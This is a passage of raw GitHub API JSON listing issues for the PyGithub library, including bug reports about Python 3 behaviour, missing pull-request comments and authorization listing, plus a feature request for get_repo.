v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi, \r\nIm using PyGithub (1.13.0, installed with pip and pip-3.2) on Ubuntu 12.04 with python version 2.7.3 (there it works just fine) an version 3.2.3 where i get some issues\r\n\r\nI posted the testcase and the testouput for the run with python3 here:\thttps://gist.github.com/8efb393ddaefc614f225\r\n\r\nFYI: I ran the testsuite too(`python3 -m github.tests`). The result was \r\n \r\n Ran 319 tests in 1.630s\r\n\r\n OK\r\n\r\nCheers,\r\nSebastian"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/59","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/59/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/59/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/59/events","html_url":"https://github.com/jacquev6/PyGithub/issues/59","id":6353712,"number":59,"title":"No Comments returned for PullRequest","user":{"login":"nixoz2k7","id":1027413,"avatar_url":"https://secure.gravatar.com/avatar/2a16046c75f59710161ea486d1f5881d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2a16046c75f59710161ea486d1f5881d","url":"https://api.github.com/users/nixoz2k7","html_url":"https://github.com/nixoz2k7","followers_url":"https://api.github.com/users/nixoz2k7/followers","following_url":"https://api.github.com/users/nixoz2k7/following{/other_user}","gists_url":"https://api.github.com/users/nixoz2k7/gists{/gist_id}","starred_url":"https://api.github.com/users/nixoz2k7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nixoz2k7/subscriptions","organizations_url":"https://api.github.com/users/nixoz2k7/orgs","repos_url":"https://api.github.com/users/nixoz2k7/repos","events_url":"https://api.github.com/users/nixoz2k7/events{/privacy}","received_events_url":"https://api.github.com/users/nixoz2k7/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/10","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/10/labels","id":169989,"number":10,"title":"Version 1.6","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":9,"state":"closed","created_at":"2012-09-04T20:12:30Z","updated_at":"2012-09-08T18:00:28Z","due_on":"2012-09-13T07:00:00Z"},"comments":7,"created_at":"2012-08-21T15:33:36Z","updated_at":"2012-09-08T14:53:08Z","closed_at":"2012-09-08T13:20:03Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hello, here is the problem.\nNo Comments returned. But comments count showing proper value.\n\np = z.pulls[1]\np\nOUTPUT: \nOUTPUT: u'\\u041d\\u0435 \\u043f\\u0440\\u0438\\u043d\\u0438\\u043c\\u0430\\u0442\\u044c =)'\np.comments\nOUTPUT: 1\np.get_comments()\nOUTPUT: \nlist(p.get_comments())\nOUTPUT: []\n\nAny ideas ?\n"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/121","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/121/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/121/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/121/events","html_url":"https://github.com/jacquev6/PyGithub/issues/121","id":9323084,"number":121,"title":"Update AuthenticatedUser.get_repo to accept a full repo path","user":{"login":"lwc","id":336402,"avatar_url":"https://secure.gravatar.com/avatar/79df912986253edb50f9b077acd5acf9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"79df912986253edb50f9b077acd5acf9","url":"https://api.github.com/users/lwc","html_url":"https://github.com/lwc","followers_url":"https://api.github.com/users/lwc/followers","following_url":"https://api.github.com/users/lwc/following{/other_user}","gists_url":"https://api.github.com/users/lwc/gists{/gist_id}","starred_url":"https://api.github.com/users/lwc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lwc/subscriptions","organizations_url":"https://api.github.com/users/lwc/orgs","repos_url":"https://api.github.com/users/lwc/repos","events_url":"https://api.github.com/users/lwc/events{/privacy}","received_events_url":"https://api.github.com/users/lwc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16/labels","id":215570,"number":16,"title":"Version 1.10.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":10,"state":"closed","created_at":"2012-11-19T20:02:45Z","updated_at":"2012-12-25T12:25:01Z","due_on":null},"comments":8,"created_at":"2012-12-17T03:02:50Z","updated_at":"2012-12-22T02:00:55Z","closed_at":"2012-12-21T19:42:09Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/121","diff_url":"https://github.com/jacquev6/PyGithub/pull/121.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/121.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"### Why?\r\n- For projects I dont own, but I am a collaborator, or for directly accessing organisation repos without needing to traverse user.get_orgs.\r\n\r\n### Example\r\n```python\r\nuser.get_repo(\"my_repo\") # existing behaviour still works\r\nuser.get_repo(\"my_org/repo\") # this is now possible\r\n```\r\n\r\n\r\nThanks,\r\nLuke Cawood"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/134","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/134/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/134/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/134/events","html_url":"https://github.com/jacquev6/PyGithub/issues/134","id":10379143,"number":134,"title":"Can't verify authorizations of token-authorized user","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19/labels","id":234630,"number":19,"title":"Version 1.11.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-12-25T12:26:40Z","updated_at":"2013-02-07T18:18:31Z","due_on":"2013-02-08T08:00:00Z"},"comments":9,"created_at":"2013-01-28T15:33:19Z","updated_at":"2013-02-06T10:54:50Z","closed_at":"2013-02-05T23:07:06Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi!\r\nI think I've found a bug. I successfully created an API authorization with some scopes. In the program I want to use this autorization in, I'm trying to verify the correct scopes before proceeding, but this does not work as expected. From iPython:\r\n\r\n``` python\r\nfrom github import Github\r\nuser = Github(some_token).get_user()\r\nauths=user.get_authorizations()\r\nauths\r\nOut[5]: \r\nfor a in auths:\r\n print a.note\r\n---------------------------------------------------------------------------\r\nGithubException Traceback (most recent call last)\r\n in ()\r\n----> 1 for a in auths:\r\n 2 print a.note\r\n\r\n/usr/local/lib/python2.7/dist-packages/github/PaginatedList.pyc in __iter__(self)\r\n 33 yield element\r\n 34 while self._couldGrow():\r\n---> 35 newElements = self.__grow()\r\n 36 for element in newElements:\r\n 37 yield element\r\n\r\n/usr/local/lib/python2.7/dist-packages/github/PaginatedList.pyc in __grow(self)\r\n 45 \r\n 46 def __grow(self):\r\n---> 47 newElements = self._fetchNextPage()\r\n 48 self.__elements += newElements\r\n 49 return 